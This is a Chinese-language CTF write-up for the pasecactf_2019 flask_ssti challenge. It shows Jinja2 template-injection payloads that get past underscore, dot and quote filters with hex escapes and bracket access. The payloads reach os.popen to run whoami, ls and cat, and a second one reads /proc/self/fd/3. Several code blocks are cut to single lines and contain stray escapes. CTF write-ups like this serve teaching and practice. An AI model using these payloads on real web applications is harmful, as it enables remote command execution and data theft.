[pasecactf_2019]flask_ssti
下划线被禁用了
我们用16进制代替,使用\x5f
点被禁用了
我们用[]代替
単引号被禁了
我们用双引号代替
1 | 我们执行{{()["\x5f\x5fclass\x5f\x5f"]}} 相当于执行{{()."__class\_\_"}} |
1 | 我们执行{{()["\\x5f\\x5fclass\\x5f\\x5f"]\["\x5f\x5fbases\x5f\x5f"][0]}},相当于执行{{()."\_\_class\_\_"."\_\_bases__"[0]}} |
1 | {{()."__class__"."__bases__"[0]."__subclasses__"()[59]}} |
我们寻找可用类
1 | import json |
os._wrap_close在127号位上
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]}} |
这个类里有发现有popen,open,system这些方法
我们执行whoami
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}} |
成功执行
我们执行ls,看看有没有flag
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"](“ls")["read"]()}} |
没有找到,那我们访问app.py看看
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"](“cat ap*")["read"]()}} |
得到文件源码
1 | import random |
代码吧/app/flag给删了,但它加密完成的flag已经存在config里面
而他加密的模式又是异或,所以他的加密函数和解密函数是相同的
先找找加密后的flag吧
1 | -M7\x10w@d94\x02!`-\x0eL\x0c;\x07(DKO\r\x17!2R4\x02\rO\x0bsT#-\x1c`@Z\x1dG |
1 | def encode(line,key,key2): |
得到flag
解法2:
用_frozen_importlib_external.FileLoader这个类
然后用get_data读取/proc/self/fd/3
1 | {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}} |